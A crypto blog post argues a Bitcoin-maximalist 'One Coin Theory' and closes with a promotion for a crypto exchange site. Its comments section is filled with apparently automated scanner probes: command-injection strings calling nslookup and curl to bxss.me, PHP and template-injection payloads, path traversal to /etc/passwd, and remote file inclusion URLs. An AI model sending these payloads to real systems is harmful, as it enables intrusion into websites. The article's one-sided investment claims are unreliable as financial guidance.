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The One Coin Theory - Why Bitcoin will be number 1

2025-02-17 08:49:22

With literally millions of cryptos to available, the paradox of choice can be overwhelming, especially if you’re new to the space. Moreover, the range of digital assets is expanding by the tens of thousands daily.

In a video I released several years ago called “the Three Coin Theory” I explored why BTC, ETH and XRP may be the only three cryptos that lead the pack when it comes to adoption and price performance.  Years later, that video and my theory proved to be true, although Eth better get it together if it wants to hold its ranking of 2 by marketcap.  As I refine that theory even further, I offer you a thought that may prove to be just as powerful.

I call it The One-Coin Theory.

While the crypto market continues to expand will millions of altcoins, smart contract platforms, metaverse tokens, real world assets and AI-driven coins there may be only one asset that stands the real test of time. And that of course is Bitcoin

Before moving on, I remind you that this is just a theory. Some will be triggered by this video, some will celebrate it and others will be indifferent. The intent of this exploration is not to change whatever investment or trading model you have adopted, but rather, to simply present a paradigm that many are starting to adopt.

So what do Altcoins mean to the Bitcoin Max? Well, they’re experiments and best and Ponzi schemes at worst.

And before you say, “But Ethereum has smart contracts!” or “Solana is so fast!” or XRP meets an ISO standard—let’s explore why, in the Bitcoin Maxi’s mind, everything besides Bitcoin is going to zero.

Firstly, let’s consider Bitcoin’s Unmatched Decentralization

As Andreas Antonopoulos says “Bitcoin is not a company, it's not a product, and it's not a service.”

Unlike Ethereum, Cardano, XRP, solana  or any other crypto, Bitcoin is truly decentralized. It has:

  • No CEO
  • No Board of Directors
  • No Marketing team shilling the coin
  • And no one to sue

Conversely, when we look at Altcoins - They all have leaders, companies, and centralized development teams. For example

  • Ethereum? It Has Vitalik Buterin and the Ethereum Foundation which we can see are in conflict with themselves
  • Solana? It is Backed by venture capital firms and pumps out endless meme coins
  • And XRP? Well it’s Run like a fintech startup, has been in court for years and focusses its work on “Deals with the banks” something most in crypto are trying to break away from.

If the SEC, governments, or centralized authorities want to shut down, attack or control an altcoin or crypto platform, they can and do go after its creators: Ripple, Hex, Binance, Cardano, Solana, Coinbase, Kraken, KuCoin, Bitmex, Crypto.com, Polygon, Cosmos, Axi infinity and many more are examples. This can’t be done with Bitcoin.

Bitcoin was created by an anonymous founder, Satoshi Nakamoto, who then abandoned the project and left it to the people.  Combined with tens of thousands of notes and millions of ASIC miners, Bitcoin is truly decentralized. Irrespective of what other crypto tribes furiously dispute in attempt to prop up the value of their coin, the objective truth is that Bitcoin is undeniably the most decentralised coin, and most secure network in existence.

So Now let’s consider Bitcoin’s Ultimate scarcity

As Michasel Saylor states, “Inflation is a vector for theft. Bitcoin fixes this.”

Bitcoin has a hard cap of 21 million coins. That’s it. Forever. Unlike many other Alt coins, Bitcoin has No company, director or board that can increase the supply.

  • Equally No central bank or government can print more Bitcoin and consequently,
  • No one body can vote to dilute its value.

When looking Altcoins in comparison, They inflate like the US Dollar. For example

  • Ethereum’s supply is unlimited—inflation is decided by developers. And despite implied promises and a deflationaly supply after the Merge, we now see that layer 2s have been absorbing fees, thus burns, hence the Eth supply is, as of time of recording, actually increasing!.
  • Looking at Solana, Cardano, and Avalanche, they constantly adjust their monetary policies, thus changing the rules and parameters of the ecosystem over time.
  • Looking at Hex, despite the claims of immutability, it now operates on two chains simultaneously creating confusion, dilution and even persecution.
  • And as for Dogecoin with its Infinite supply, we see it’s no different to any fiat currency, except that is doesn’t have a military or government backing its use.

In reality, Bitcoin is the hardest money ever created. It's digital gold—with many advantages because its more scarce, more portable, more auditable, more profitable and more decentralized.

Now let’s explore the realities of Proof of Work being a  Feature, Not a Flaw

As Jeff Booth states “The price of energy is the price of human progress.”

Altcoin tribes and communities love to attack Bitcoin’s Proof of Work (PoW), claiming that Proof of Stake (PoS) is better because it’s "energy-efficient.”

But here’s the truth:

  • Proof of Work secures the network through real-world energy. It can’t be faked.
  • Conversely Proof of Stake uses less energy at a massive sacrifice to real security, legitimate decentralisation and above all poof of value.  To some, Proof of Stake is just a rich-get-richer system, where the biggest holders control the network thus the profits.
  • And on control, it is far easier for Governments, banks and cetralised entities to shut down or regulate Proof of Stake chains like Ethereum, Solana, Cardano, Toncoin, Avalanch and so forth.

Again, irrespective of what the media, the misinformed or the Proof of Stake crypto tribes may like to scream about proof of work,  Bitcoin’s energy use is not an accidental floor—it’s deliberate feature

Just like gold requires mining, Bitcoin’s Proof of Work consensus algorithm makes it truly secure, scarce and sought after . But unlike gold mining, Bitcoin miners can be moved to where energy is available but not used, or in excess and wasted into the atmosphere.  Think of geothermal springs, gas flaring, Venting, stranded Natural gas, pipeline pressure release, power grid curtailment, waste heat from factories, data centre  heat, agricultural biomass wasted, spilled hydroelectric power, desalination brine energy, ocean tidal energy, lighting energy, kinetic energy from vehicles, excess energy from coal and nuclear power plants during non-surge periods and even wasted energy from solar and wind plants – this and MORE can be redirected to the Bitcoin network with no increase to power consumption.   Bitcoin makes use of all of this otherwise wasted energy to power the most secure network in history.

Oh and by the way, banks, data centres, the gold industry and even tumble driers use WAY more energy than Bitcoin, but of course, no one seems to have a problem with that. Or more accurately, the banking sector and alt coins don’t bother raising energy concerns with those industries as they aren’t seen as a competitor.

Ultimately, If you don’t secure money with real-world energy, it’s just another database controlled by insiders. And this is why Proof of work isn’t just an option or a feature, but an undeniable necessity for true value, security, scarcity, neutrality and decentralization.

Now let’s move on to the Altcoin Illusion

As Max Keiser said "Shitcoins exist to make insiders rich while retail gets rugged.”

People will often say, “But altcoins have use cases! Smart contracts! AI! Real-world assets! And memes!”

And yes, some of these projects have functionality. But here’s the problem:

  • Altcoins are often VC-funded tech startups masquerading as money, innovation or the infamous cry of “a better bitcoin”.
  • Their tokenomics are often designed for founders to dump on you
  • Equally, They can and often do change their rules, like Ethereum switching from PoW to PoS followed by endless structural changes like "The Merge," "The Surge," "The Verge," "The Purge," and "The Splurge." 
  • We keep seeing so many altcoins centralize over time, as governance tokens consolidate power in fewer hands or anonymous Oas who hold 90% or even more of the total supply.

Bitcoin doesn’t need a CEO, an upgrade, a roadmap, or partnerships with JPMorgan, Money gram, remittance providers, governments or corporations. Bitcoin is pure, decentralized, hard, neutral, borderless, censorship resistant, and sound money.

As for Everything else? Well, in contrast to Bitcoin, it’s all Going to zero.

Finally, we must consdier The Hyperbitcoinization Endgame

As Michael Saylor states "You don’t change Bitcoin. Bitcoin changes you.”

As fiat currencies collapse, noting all fiats always fail, people will flee to the hardest asset. So which is the hardest asset?

  • Well some it’s Gold? But gold is confiscatable, heavy, hard to move and even harder to audit globally. Moreover, no one knows the gold supply, it has proven to continually fail as a national or global money (irrespective of what Peter Schiff may dream of) because gold used as money is eventually diluted, centralised, double-spent and inevitably confiscated by insolvent governments – Need proof? Just ask those in the land of the free how free they were when their own government confiscated their gold in 1933 under executive Order 6102. Or ask the world how trustworthy gold was when the US Government “temporarily” broke the gold standard agreement in 1971 leading to nations losing their gold reserves and the US dollar losing its purchasing power.
  • So what about Real Estate as a hard asset? Well not only is real estate one of the most, if not the most illiquid markets, it also lacks fungibility, mobility and often predictability as it’s endlessly taxed and remains hostage to demographic, political, and fiscal vulnerabilities.
  • How about Stocks as a hard asset? Well, we all know that anything tied to the broken fiat system, poor human management, corruption, dynamic market forces, money printing, stock splits, share dilutions and just as much competition as the altcoin market itself, proves that stocks could be seen as anything but a hard asset.

At the end of the day, Bitcoin is the only asset that is truly portable, neutral, scarce, borderless and beyond government control, corruption or collapse.

Some people argue we’ll live in a multi-coin world, where different cryptos serve different purposes.

In this one-coin theory, That wrong, as Bitcoin will serve to be the foundation, or layer 1 to everything.

Why you ask? Because in the long run and on the global stage, money always consolidates into the hardest form available. For example,

  • The world used gold for thousands of years as the anchor point, not 10 different metals.
  • Likewise The US dollar became the global reserve currency—not a mix of 50 different ones.

In a digital world, in which we’re moving to, whether you, aunty warren, uncle Schiff or banker dimon like it or not, Bitcoin is the only asset that will hold, let alone increase its value in the long-term.

In conclusion of this one coin theory, it’s Bitcoin or nothing. If you believe in financial sovereignty, decentralization, neutrality and scarcity, there’s only one choice: Bitcoin.

Everything else?  Is A distraction.

If you own Ethereum, Solana, or any altcoin, ask yourself this without being hijacked by the tribe’s screams:

  • Can its supply be inflated?
  • Can its founders change the rules?
  • Can a government shut it down or sue it?
  • Can it be hacked
  • Can it be substituted by another centralised competitor
  • Can its on, or off ramps be hindered
  • Could developers flee the project.
  • Is it less secure than the most powerful network in history

If the answer is yes to any of these, then it’s neither Bitcoin, nor a better Bitcoin.

If you’re serious about protecting your wealth and embracing the Bitcoin revolution, then:

  • Educate yourself removing all emotion, prejudice biases or financial ties.
  • HODL your own Bitcoin.
  • Run your own node. And
  • Ignore the altcoin noise.

Bitcoin is the one coin to rule them all, ironically, with no CEO, no board of directors, no marketing team, no regulators, no armies and no force.

So there you have it.  That’s the one-coin theory that is certain to stir the crypto pot.  I remind you all that it’s just a theory that some may accept or reject in part or entirely. 

But what are your thoughts? Please do let me and the community know in the comments below.

If you’d like to buy Bitcoin or dare I say any altcoin, simply head over to the www.crypto.land where you can do everything crypto safely on one, simple and secure site.

Comments


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    2025-06-02 11:35:03

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  • aYlNlfdX

    2025-06-02 11:34:41

    555

  • aYlNlfdX

    2025-06-02 11:27:46

    555

  • aYlNlfdX

    2025-06-02 11:26:58

    555

  • ;(nslookup -q=cname hitcczpqkdbyhf8374.bxss.me||curl hitcczpqkdbyhf8374.bxss.me)|(nslookup -q=cname

    2025-06-02 11:26:55

    555

  • `(nslookup -q=cname hitycctzpbdwk322db.bxss.me||curl hitycctzpbdwk322db.bxss.me)`

    2025-06-02 11:26:55

    555

  • |(nslookup -q=cname hitrxwotrwoab86876.bxss.me||curl hitrxwotrwoab86876.bxss.me)

    2025-06-02 11:26:54

    555

  • aYlNlfdX

    2025-06-02 11:26:53

    555

  • $(nslookup -q=cname hitkamygmbmci85a22.bxss.me||curl hitkamygmbmci85a22.bxss.me)

    2025-06-02 11:26:52

    555

  • [php]print(md5(31337));[/php]

    2025-06-02 11:26:52

    555

  • (nslookup -q=cname hitjuryjaroqr1a0f8.bxss.me||curl hitjuryjaroqr1a0f8.bxss.me))

    2025-06-02 11:26:52

    555

  • aYlNlfdX

    2025-06-02 11:26:52

    555

  • {php}print(md5(31337));{/php}

    2025-06-02 11:26:51

    555

  • aYlNlfdX

    2025-06-02 11:26:51

    555

  • expr 9000897620 - 944008

    2025-06-02 11:26:51

    555

  • print(md5(31337));//

    2025-06-02 11:26:51

    555

  • aYlNlfdX

    2025-06-02 11:26:51

    555

  • 2025-06-02 11:26:49

    555

  • "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    2025-06-02 11:26:49

    555

  • aYlNlfdX

    2025-06-02 11:26:49

    555

  • dfb__${98991*97996}__::.x

    2025-06-02 11:26:48

    555

  • aYlNlfdX

    2025-06-02 11:26:48

    555

  • dfb[[${98991*97996}]]xca

    2025-06-02 11:26:47

    555

  • aYlNlfdX

    2025-06-02 11:26:47

    555

  • ${@print(md5(31337))}

    2025-06-02 11:26:46

    555

  • dfb{{98991*97996}}xca

    2025-06-02 11:26:46

    555

  • aYlNlfdX

    2025-06-02 11:26:46

    555

  • ";print(md5(31337));$a="

    2025-06-02 11:26:46

    555

  • aYlNlfdX

    2025-06-02 11:26:45

    555

  • 2025-06-02 11:26:45

    555

  • aYlNlfdX

    2025-06-02 11:26:45

    555

  • aYlNlfdX

    2025-06-02 11:26:44

    555

  • <%={{={@{#{${dfb}}%>

    2025-06-02 11:26:44

    555

  • aYlNlfdX

    2025-06-02 11:26:44

    555

  • aYlNlfdX

    2025-06-02 11:26:44

    555

  • aYlNlfdX

    2025-06-02 11:26:44

    555

  • bfgx3627z1z2abcxhjl3627

    2025-06-02 11:26:44

    555

  • aYlNlfdX

    2025-06-02 11:26:43

    555

  • bfg1655<s1﹥s2ʺs3ʹhjl1655

    2025-06-02 11:26:43

    555

  • aYlNlfdX"||sleep(27*1000)*knyxqf||"

    2025-06-02 11:26:43

    555

  • aYlNlfdX

    2025-06-02 11:26:42

    555

  • aYlNlfdX9775351

    2025-06-02 11:26:42

    555

  • aYlNlfdX

    2025-06-02 11:26:42

    555

  • aYlNlfdX"&&sleep(27*1000)*ehbjpw&&"

    2025-06-02 11:26:41

    555

  • aYlNlfdX

    2025-06-02 11:26:41

    555

  • aYlNlfdX

    2025-06-02 11:26:41

    555

  • http://bxss.me/t/fit.txt?.jpg

    2025-06-02 11:26:41

    555

  • aYlNlfdX

    2025-06-02 11:26:40

    555

  • aYlNlfdX

    2025-06-02 11:26:40

    555

  • Http://bxss.me/t/fit.txt

    2025-06-02 11:26:40

    555

  • bxss.me

    2025-06-02 11:26:39

    555

  • Array

    2025-06-02 11:26:39

    555

  • aYlNlfdX

    2025-06-02 11:26:39

    555

  • c:/windows/win.ini

    2025-06-02 11:26:38

    555

  • aYlNlfdX

    2025-06-02 11:26:38

    555

  • aYlNlfdX

    2025-06-02 11:26:38

    555

  • aYlNlfdX

    2025-06-02 11:26:38

    555

  • Array

    2025-06-02 11:26:37

    555

  • ../../../../../../../../../../../../../../etc/shells

    2025-06-02 11:26:37

    555

  • aYlNlfdX

    2025-06-02 11:26:37

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  • aYlNlfdX

    2025-06-02 11:26:36

    555

  • /etc/shells

    2025-06-02 11:26:36

    555

  • aYlNlfdX

    2025-06-02 11:26:36

    dfb__${98991*97996}__::.x

  • aYlNlfdX

    2025-06-02 11:26:35

    [php]print(md5(31337));[/php]

  • 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    2025-06-02 11:26:35

    555

  • aYlNlfdX

    2025-06-02 11:26:35

    dfb[[${98991*97996}]]xca

  • aYlNlfdX

    2025-06-02 11:26:35

    555

  • aYlNlfdX

    2025-06-02 11:26:34

    555

  • aYlNlfdX

    2025-06-02 11:26:34

    {php}print(md5(31337));{/php}

  • http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    2025-06-02 11:26:34

    555

  • aYlNlfdX

    2025-06-02 11:26:34

    dfb{{98991*97996}}xca

  • aYlNlfdX

    2025-06-02 11:26:33

    print(md5(31337));//

  • bxss.me/t/rfi.php?%00

    2025-06-02 11:26:33

    555

  • aYlNlfdX

    2025-06-02 11:26:33

    ;(nslookup -q=cname hitcebimrjqgh9bfa1.bxss.me||curl hitcebimrjqgh9bfa1.bxss.me)|(nslookup -q=cname hitcebimrjqgh9bfa1.bxss.me||curl hitcebimrjqgh9bfa1.bxss.me)&(nslookup -q=cname hitcebimrjqgh9bfa1.bxss.me||curl hitcebimrjqgh9bfa1.bxss.me)

  • aYlNlfdX

    2025-06-02 11:26:33

    555

  • aYlNlfdX

    2025-06-02 11:26:32

    `(nslookup -q=cname hitibhamjmitj271cc.bxss.me||curl hitibhamjmitj271cc.bxss.me)`

  • http://bxss.me/t/rfi.php?%00

    2025-06-02 11:26:32

    555

  • aYlNlfdX

    2025-06-02 11:26:32

    555

  • aYlNlfdX

    2025-06-02 11:26:32


  • aYlNlfdX

    2025-06-02 11:26:32

    555

  • aYlNlfdX

    2025-06-02 11:26:31

    |(nslookup -q=cname hitltoxreoaci06fb7.bxss.me||curl hitltoxreoaci06fb7.bxss.me)

  • bxss.me/t/xss.html?%00

    2025-06-02 11:26:31

    555

  • aYlNlfdX

    2025-06-02 11:26:31

    555

  • aYlNlfdX

    2025-06-02 11:26:31


  • aYlNlfdX

    2025-06-02 11:26:31

    <%={{={@{#{${dfb}}%>

  • aYlNlfdX

    2025-06-02 11:26:31

    555

  • ./aYlNlfdX

    2025-06-02 11:26:30

    555

  • HttP://bxss.me/t/xss.html?%00

    2025-06-02 11:26:30

    555

  • aYlNlfdX

    2025-06-02 11:26:30

    555

  • aYlNlfdX

    2025-06-02 11:26:30

    bfgx10629z1z2abcxhjl10629

  • aYlNlfdX

    2025-06-02 11:26:29

    555

  • blog-details.php/.

    2025-06-02 11:26:29

    555

  • ../aYlNlfdX

    2025-06-02 11:26:29

    555

  • aYlNlfdX

    2025-06-02 11:26:29

    555

  • aYlNlfdX

    2025-06-02 11:26:29

    555

  • aYlNlfdX

    2025-06-02 11:26:29

    bfg7485<s1﹥s2ʺs3ʹhjl7485

  • aYlNlfdX

    2025-06-02 11:26:29

    555"||sleep(27*1000)*rcmoma||"

  • blog-details.php

    2025-06-02 11:26:29

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    $(nslookup -q=cname hitovubybscrl2c2d9.bxss.me||curl hitovubybscrl2c2d9.bxss.me)

  • aYlNlfdX

    2025-06-02 11:26:28

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    ${@print(md5(31337))}

  • aYlNlfdX

    2025-06-02 11:26:28

    5559083368

  • "+"A".concat(70-3).concat(22*4).concat(99).concat(69).concat(118).concat(75)+(require"socket" Socket

    2025-06-02 11:26:28

    555

  • blog-details.php

    2025-06-02 11:26:28

    555

  • file:///etc/passwd

    2025-06-02 11:26:28

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    555

  • aYlNlfdX

    2025-06-02 11:26:28

    (nslookup -q=cname hitdwtbfsccpb7a765.bxss.me||curl hitdwtbfsccpb7a765.bxss.me))

  • aYlNlfdX

    2025-06-02 11:26:27

    555

  • aYlNlfdX

    2025-06-02 11:26:27

    ";print(md5(31337));$a="

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